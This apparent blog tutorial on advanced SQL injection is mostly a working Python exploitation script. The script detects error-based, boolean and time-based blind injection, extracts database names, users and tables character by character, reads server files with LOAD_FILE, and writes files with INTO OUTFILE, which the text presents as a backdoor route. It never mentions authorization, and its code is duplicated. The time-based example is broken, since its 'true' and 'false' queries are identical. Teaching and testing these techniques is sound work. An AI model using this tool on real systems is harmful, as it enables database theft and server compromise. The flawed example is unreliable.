August 6, 2026
Python Web Penetration Testing — Day 9: Advanced SQL Injection — Beyond the Basics
I thought I knew SQL injection.
By Aman Sharma
7 min read
Then I discovered blind SQL injection, time-based attacks, and reading files through the database. Here's how to go from "I found a SQL injection" to "I own the database."
The Day I Realized SQL Injection Had Levels
I'd been finding SQL injection vulnerabilities for a while. I could spot a vulnerable parameter, extract data with UNION, and move on. I thought I was good.
Then I found an application with a SQL injection that didn't return any data. No errors. No visible output. Just a "success" or "failure" message. I was stuck.
A senior hunter showed me how to use boolean-based blind SQL injection. We extracted data one character at a time using the page's behavior. It was slow, but it worked.
Then I found a SQL injection with no visible output at all. Not even a success message. He showed me time-based blind SQL injection. We used database sleep commands to extract data through timing differences.
That day, I learned a crucial lesson: SQL injection isn't one vulnerability — it's a spectrum of techniques. And the more you know, the more you can exploit.
Why This Matters
SQL injection is one of the most critical vulnerabilities, but not all SQL injections are created equal. Here's why advanced techniques matter:
- Error-based SQLi is rare. Modern applications often hide errors. You need other techniques.
- Blind SQLi is common. Applications may not show errors but still be vulnerable.
- Time-based works everywhere. As long as you can inject a delay, you can extract data.
- File reading is powerful. Once you can read files, you can access source code, credentials, and more.
The difference between a good hunter and a great one is knowing which technique to use and when.
Types of SQL Injection (Beyond the Basics)
How Boolean Blind SQL Injection Works
You ask a yes/no question to the database. The response (page content) changes based on the answer.
Example:
Query: SELECT name FROM users WHERE id=1 AND 1=1
Result: Returns the page normally (true)
Query: SELECT name FROM users WHERE id=1 AND 1=2
Result: Returns an error or empty page (false)Query: SELECT name FROM users WHERE id=1 AND 1=1
Result: Returns the page normally (true)
Query: SELECT name FROM users WHERE id=1 AND 1=2
Result: Returns an error or empty page (false)By asking many questions, you can reconstruct data one character at a time.
How Time-Based Blind SQL Injection Works
You ask a yes/no question to the database. The response time changes based on the answer.
Example:
Query: SELECT name FROM users WHERE id=1 AND SLEEP(5)
Result: 5-second delay (true)
Query: SELECT name FROM users WHERE id=1 AND SLEEP(5)
Result: No delay (false)Query: SELECT name FROM users WHERE id=1 AND SLEEP(5)
Result: 5-second delay (true)
Query: SELECT name FROM users WHERE id=1 AND SLEEP(5)
Result: No delay (false)The SLEEP(5) function pauses the database for 5 seconds. If you see a delay, the condition was true.
Building a Complete SQL Injection Framework
Let's combine everything into a complete SQL injection framework.
Step 1: The Complete Framework
#!/usr/bin/env python3
import requests
import sys
import time
import string
from urllib.parse import urlparse, parse_qs, urlencode
import re
class SQLiFramework:
def __init__(self, url, param='id'):
self.url = url
self.param = param
self.base, self.params = self.parse_url(url)
self.session = requests.Session()
self.charset = string.ascii_lowercase + string.digits + "_ .-@"
self.detected_type = None
self.columns = None
def parse_url(self, url):
parsed = urlparse(url)
base = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
params = parse_qs(parsed.query)
return base, params
def build_url(self, params):
query = urlencode(params, doseq=True)
return f"{self.base}?{query}" if query else self.base
def test_error_based(self):
"""Test for error-based SQL injection."""
print("[+] Testing for error-based SQLi...")
injections = ["'", '"', "')", '")', "')", '"))']
errors = [
'mysql', 'error in your SQL', 'SQL syntax',
'You have an error in your SQL syntax',
'Unclosed quotation mark'
]
for injection in injections:
params = self.params.copy()
if self.param in params:
params[self.param][0] = injection
test_url = self.build_url(params)
try:
r = self.session.get(test_url, timeout=5)
for error in errors:
if re.search(error, r.text, re.IGNORECASE):
print(f" [+] Found error-based SQLi with: {injection}")
self.detected_type = 'error'
return True
except:
pass
print(" [-] No error-based SQLi found")
return False
def test_boolean_based(self):
"""Test for boolean-based blind SQL injection."""
print("[+] Testing for boolean-based blind SQLi...")
# Test for true condition
params = self.params.copy()
if self.param in params:
params[self.param][0] = "1 AND 1=1"
true_url = self.build_url(params)
# Test for false condition
params = self.params.copy()
if self.param in params:
params[self.param][0] = "1 AND 1=2"
false_url = self.build_url(params)
try:
r_true = self.session.get(true_url, timeout=5)
r_false = self.session.get(false_url, timeout=5)
# Check if there's a difference in responses
# This is simplified - in reality you'd check more carefully
if len(r_true.text) != len(r_false.text):
print(" [+] Found boolean-based blind SQLi")
self.detected_type = 'boolean'
return True
except:
pass
print(" [-] No boolean-based blind SQLi found")
return False
def test_time_based(self):
"""Test for time-based blind SQL injection."""
print("[+] Testing for time-based blind SQLi...")
# Test with delay
params = self.params.copy()
if self.param in params:
params[self.param][0] = "1 AND SLEEP(5)"
test_url = self.build_url(params)
# Test without delay
params = self.params.copy()
if self.param in params:
params[self.param][0] = "1"
normal_url = self.build_url(params)
try:
start = time.time()
self.session.get(test_url, timeout=10)
test_elapsed = time.time() - start
start = time.time()
self.session.get(normal_url, timeout=5)
normal_elapsed = time.time() - start
if test_elapsed > 4 and test_elapsed > normal_elapsed * 2:
print(" [+] Found time-based blind SQLi")
self.detected_type = 'time'
return True
except:
pass
print(" [-] No time-based blind SQLi found")
return False
def detect(self):
"""Detect the type of SQL injection present."""
print("=" * 70)
print(" SQL Injection Detection")
print("=" * 70)
print()
# Test in order of preference
if self.test_error_based():
return self.detected_type
if self.test_boolean_based():
return self.detected_type
if self.test_time_based():
return self.detected_type
return None
def detect_columns(self):
"""Detect the number of columns in the query."""
print("\n[+] Detecting number of columns...")
for col in range(1, 30):
params = self.params.copy()
if self.param in params:
params[self.param][0] = f"1 ORDER BY {col}--"
test_url = self.build_url(params)
try:
r = self.session.get(test_url, timeout=5)
if 'Unknown column' in r.text or 'order clause' in r.text:
self.columns = col - 1
print(f" [+] Found {self.columns} columns")
return self.columns
except:
pass
print(" [!] Could not detect columns")
return None
def extract_data(self, query, max_length=50):
"""Extract data using the detected injection type."""
print(f"\n[+] Extracting: {query}")
extracted = ""
for pos in range(1, max_length + 1):
found = False
for char in self.charset:
payload = f"SUBSTR(({query}),{pos},1)='{char}'"
if self.detected_type == 'boolean':
params = self.params.copy()
if self.param in params:
params[self.param][0] = f"1 AND {payload}"
test_url = self.build_url(params)
try:
r = self.session.get(test_url, timeout=5)
# Check for success indicator
if 'Name' in r.text or 'ID' in r.text:
extracted += char
found = True
print(f" Position {pos}: {extracted}")
break
except:
pass
elif self.detected_type == 'time':
params = self.params.copy()
if self.param in params:
params[self.param][0] = f"1 AND IF({payload}, SLEEP(3), 0)"
test_url = self.build_url(params)
try:
start = time.time()
self.session.get(test_url, timeout=5)
elapsed = time.time() - start
if elapsed > 2:
extracted += char
found = True
print(f" Position {pos}: {extracted}")
break
except:
pass
if not found:
break
return extracted
def run(self):
"""Run the complete framework."""
self.banner()
print(f"[+] Target: {self.url}")
print(f"[+] Parameter: {self.param}")
print()
# Detect SQL injection type
injection_type = self.detect()
if not injection_type:
print("\n[!] No SQL injection detected.")
print("[!] Try a different parameter or target.")
return
print(f"\n[+] Detected type: {injection_type}")
print()
# Detect columns
columns = self.detect_columns()
if not columns:
print("[!] Could not detect columns. Skipping data extraction.")
return
# Extract data
data_to_extract = [
"SELECT database()",
"SELECT user()",
"SELECT version()",
]
for query in data_to_extract:
result = self.extract_data(query)
if result:
print(f"\n [+] {query}: {result}")
# Extract tables
db = self.extract_data("SELECT database()")
if db:
table_query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT 0,1"
table = self.extract_data(table_query)
if table:
print(f"\n [+] First table in {db}: {table}")
print("\n[+] Extraction complete!")
def banner(self):
print("=" * 70)
print(" SQLi Framework v1.0")
print(" Complete SQL Injection Detection and Exploitation")
print("=" * 70)
print()
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python sqli_framework.py <url>")
print("Example: python sqli_framework.py 'http://target.com/users.php?id=1'")
sys.exit(1)
url = sys.argv[1]
param = 'id' # Default parameter
# You can specify a different parameter with -p
for i, arg in enumerate(sys.argv):
if arg == '-p' and i + 1 < len(sys.argv):
param = sys.argv[i + 1]
framework = SQLiFramework(url, param)
framework.run()#!/usr/bin/env python3
import requests
import sys
import time
import string
from urllib.parse import urlparse, parse_qs, urlencode
import re
class SQLiFramework:
def __init__(self, url, param='id'):
self.url = url
self.param = param
self.base, self.params = self.parse_url(url)
self.session = requests.Session()
self.charset = string.ascii_lowercase + string.digits + "_ .-@"
self.detected_type = None
self.columns = None
def parse_url(self, url):
parsed = urlparse(url)
base = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
params = parse_qs(parsed.query)
return base, params
def build_url(self, params):
query = urlencode(params, doseq=True)
return f"{self.base}?{query}" if query else self.base
def test_error_based(self):
"""Test for error-based SQL injection."""
print("[+] Testing for error-based SQLi...")
injections = ["'", '"', "')", '")', "')", '"))']
errors = [
'mysql', 'error in your SQL', 'SQL syntax',
'You have an error in your SQL syntax',
'Unclosed quotation mark'
]
for injection in injections:
params = self.params.copy()
if self.param in params:
params[self.param][0] = injection
test_url = self.build_url(params)
try:
r = self.session.get(test_url, timeout=5)
for error in errors:
if re.search(error, r.text, re.IGNORECASE):
print(f" [+] Found error-based SQLi with: {injection}")
self.detected_type = 'error'
return True
except:
pass
print(" [-] No error-based SQLi found")
return False
def test_boolean_based(self):
"""Test for boolean-based blind SQL injection."""
print("[+] Testing for boolean-based blind SQLi...")
# Test for true condition
params = self.params.copy()
if self.param in params:
params[self.param][0] = "1 AND 1=1"
true_url = self.build_url(params)
# Test for false condition
params = self.params.copy()
if self.param in params:
params[self.param][0] = "1 AND 1=2"
false_url = self.build_url(params)
try:
r_true = self.session.get(true_url, timeout=5)
r_false = self.session.get(false_url, timeout=5)
# Check if there's a difference in responses
# This is simplified - in reality you'd check more carefully
if len(r_true.text) != len(r_false.text):
print(" [+] Found boolean-based blind SQLi")
self.detected_type = 'boolean'
return True
except:
pass
print(" [-] No boolean-based blind SQLi found")
return False
def test_time_based(self):
"""Test for time-based blind SQL injection."""
print("[+] Testing for time-based blind SQLi...")
# Test with delay
params = self.params.copy()
if self.param in params:
params[self.param][0] = "1 AND SLEEP(5)"
test_url = self.build_url(params)
# Test without delay
params = self.params.copy()
if self.param in params:
params[self.param][0] = "1"
normal_url = self.build_url(params)
try:
start = time.time()
self.session.get(test_url, timeout=10)
test_elapsed = time.time() - start
start = time.time()
self.session.get(normal_url, timeout=5)
normal_elapsed = time.time() - start
if test_elapsed > 4 and test_elapsed > normal_elapsed * 2:
print(" [+] Found time-based blind SQLi")
self.detected_type = 'time'
return True
except:
pass
print(" [-] No time-based blind SQLi found")
return False
def detect(self):
"""Detect the type of SQL injection present."""
print("=" * 70)
print(" SQL Injection Detection")
print("=" * 70)
print()
# Test in order of preference
if self.test_error_based():
return self.detected_type
if self.test_boolean_based():
return self.detected_type
if self.test_time_based():
return self.detected_type
return None
def detect_columns(self):
"""Detect the number of columns in the query."""
print("\n[+] Detecting number of columns...")
for col in range(1, 30):
params = self.params.copy()
if self.param in params:
params[self.param][0] = f"1 ORDER BY {col}--"
test_url = self.build_url(params)
try:
r = self.session.get(test_url, timeout=5)
if 'Unknown column' in r.text or 'order clause' in r.text:
self.columns = col - 1
print(f" [+] Found {self.columns} columns")
return self.columns
except:
pass
print(" [!] Could not detect columns")
return None
def extract_data(self, query, max_length=50):
"""Extract data using the detected injection type."""
print(f"\n[+] Extracting: {query}")
extracted = ""
for pos in range(1, max_length + 1):
found = False
for char in self.charset:
payload = f"SUBSTR(({query}),{pos},1)='{char}'"
if self.detected_type == 'boolean':
params = self.params.copy()
if self.param in params:
params[self.param][0] = f"1 AND {payload}"
test_url = self.build_url(params)
try:
r = self.session.get(test_url, timeout=5)
# Check for success indicator
if 'Name' in r.text or 'ID' in r.text:
extracted += char
found = True
print(f" Position {pos}: {extracted}")
break
except:
pass
elif self.detected_type == 'time':
params = self.params.copy()
if self.param in params:
params[self.param][0] = f"1 AND IF({payload}, SLEEP(3), 0)"
test_url = self.build_url(params)
try:
start = time.time()
self.session.get(test_url, timeout=5)
elapsed = time.time() - start
if elapsed > 2:
extracted += char
found = True
print(f" Position {pos}: {extracted}")
break
except:
pass
if not found:
break
return extracted
def run(self):
"""Run the complete framework."""
self.banner()
print(f"[+] Target: {self.url}")
print(f"[+] Parameter: {self.param}")
print()
# Detect SQL injection type
injection_type = self.detect()
if not injection_type:
print("\n[!] No SQL injection detected.")
print("[!] Try a different parameter or target.")
return
print(f"\n[+] Detected type: {injection_type}")
print()
# Detect columns
columns = self.detect_columns()
if not columns:
print("[!] Could not detect columns. Skipping data extraction.")
return
# Extract data
data_to_extract = [
"SELECT database()",
"SELECT user()",
"SELECT version()",
]
for query in data_to_extract:
result = self.extract_data(query)
if result:
print(f"\n [+] {query}: {result}")
# Extract tables
db = self.extract_data("SELECT database()")
if db:
table_query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT 0,1"
table = self.extract_data(table_query)
if table:
print(f"\n [+] First table in {db}: {table}")
print("\n[+] Extraction complete!")
def banner(self):
print("=" * 70)
print(" SQLi Framework v1.0")
print(" Complete SQL Injection Detection and Exploitation")
print("=" * 70)
print()
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python sqli_framework.py <url>")
print("Example: python sqli_framework.py 'http://target.com/users.php?id=1'")
sys.exit(1)
url = sys.argv[1]
param = 'id' # Default parameter
# You can specify a different parameter with -p
for i, arg in enumerate(sys.argv):
if arg == '-p' and i + 1 < len(sys.argv):
param = sys.argv[i + 1]
framework = SQLiFramework(url, param)
framework.run()Step 2: Reading Files with LOAD_FILE
def read_file(self, filename):
"""Read a file using LOAD_FILE() (requires FILE privilege)."""
print(f"\n[+] Reading file: {filename}")
# First, check if we have FILE privilege
file_priv = self.extract_data("SELECT file_priv FROM mysql.user WHERE user=user()")
if 'Y' not in file_priv:
print("[!] No FILE privilege. Cannot read files.")
return None
# Read the file
if self.detected_type == 'boolean':
# Use boolean-based extraction
content = self.extract_data(f"LOAD_FILE('{filename}')", max_length=1000)
print(f"\n File content:\n{content[:500]}")
return content
return Nonedef read_file(self, filename):
"""Read a file using LOAD_FILE() (requires FILE privilege)."""
print(f"\n[+] Reading file: {filename}")
# First, check if we have FILE privilege
file_priv = self.extract_data("SELECT file_priv FROM mysql.user WHERE user=user()")
if 'Y' not in file_priv:
print("[!] No FILE privilege. Cannot read files.")
return None
# Read the file
if self.detected_type == 'boolean':
# Use boolean-based extraction
content = self.extract_data(f"LOAD_FILE('{filename}')", max_length=1000)
print(f"\n File content:\n{content[:500]}")
return content
return NoneStep 3: Writing Files with INTO OUTFILE
def write_file(self, filename, content):
"""Write a file using INTO OUTFILE (requires FILE privilege)."""
print(f"\n[+] Writing file: {filename}")
# First, check if we have FILE privilege
file_priv = self.extract_data("SELECT file_priv FROM mysql.user WHERE user=user()")
if 'Y' not in file_priv:
print("[!] No FILE privilege. Cannot write files.")
return False
# Write the file
query = f"SELECT '{content}' INTO OUTFILE '{filename}'"
# Test the injection
params = self.params.copy()
if self.param in params:
params[self.param][0] = f"1; {query}"
test_url = self.build_url(params)
try:
r = self.session.get(test_url, timeout=5)
if r.status_code == 200:
print(f"[+] File written successfully: {filename}")
return True
except:
pass
print("[!] Could not write file.")
return Falsedef write_file(self, filename, content):
"""Write a file using INTO OUTFILE (requires FILE privilege)."""
print(f"\n[+] Writing file: {filename}")
# First, check if we have FILE privilege
file_priv = self.extract_data("SELECT file_priv FROM mysql.user WHERE user=user()")
if 'Y' not in file_priv:
print("[!] No FILE privilege. Cannot write files.")
return False
# Write the file
query = f"SELECT '{content}' INTO OUTFILE '{filename}'"
# Test the injection
params = self.params.copy()
if self.param in params:
params[self.param][0] = f"1; {query}"
test_url = self.build_url(params)
try:
r = self.session.get(test_url, timeout=5)
if r.status_code == 200:
print(f"[+] File written successfully: {filename}")
return True
except:
pass
print("[!] Could not write file.")
return FalseThe Hacker's Workflow for Advanced SQLi
- Test for error-based first — easiest to exploit
- Test for boolean blind — no errors, but content changes
- Test for time blind — no errors, no content changes
- Once you find a vulnerability, extract data systematically
- Check for FILE privilege — can you read/write files?
- Escalate — use extracted data to gain admin access
Common Mistakes
Mistake 1: Not Testing Blind SQLi
The problem: You only test for error-based SQLi.
The fix: Always test for boolean and time-based blind SQLi.
Mistake 2: Using the Wrong Character Set
The problem: Only testing lowercase letters.
The fix: Include uppercase, digits, and special characters in your character set.
Mistake 3: Not Handling Timeouts
The problem: Time-based blind SQLi can be slow.
The fix: Use shorter delays (1–2 seconds) and be patient.
Mistake 4: Not Checking FILE Privilege
The problem: You assume you can read files.
The fix: Check SELECT file_priv FROM mysql.user WHERE user=user()
Mistake 5: Not Automating
The problem: Manual extraction is tedious.
The fix: Write scripts to automate the extraction.
Key Takeaways
Today we covered advanced SQL injection:
- Blind SQL injection comes in two forms — boolean-based (content changes) and time-based (timing changes).
- Boolean-based blind SQLi uses true/false conditions to extract data one character at a time.
- Time-based blind SQLi uses database sleep commands to extract data through timing differences.
- Information_schema contains metadata about the database — tables, columns, and more.
- LOAD_FILE can read server files if the database user has FILE privilege.
- INTO OUTFILE can write files, potentially creating backdoors.
- Automation is essential — manual extraction is slow and error-prone.
Final Thoughts
The day I mastered blind SQL injection was the day I started finding critical vulnerabilities consistently. Before that, I was limited to error-based SQLi — which is becoming increasingly rare.
Now I know how to extract data from any database, regardless of how much (or how little) information it gives me. Error-based? Easy. Boolean blind? I can handle it. Time-based? Bring it on.
The techniques you learned today are the foundation of advanced SQL injection exploitation. Use them wisely.
you can check this article too…
Python Web Penetration Testing — Day 8: Chaining Vulnerabilities — The Art of the Exploit Chain I found a self-XSS. Low severity.
"Bug Bounty Bootcamp #30: Time-Based Blind SQL Injection — When Silence Speaks Through Delays" The application never shows an error, never says "true" or "false" — just "email added" every time. Yet you can still…
Liked this guide? Smash that clap button 50 times (it's free therapy), drop a comment .
Your engagement keeps the chaos alive.
— Your friendly neighborhood account takeover artist 🕵️♂️💥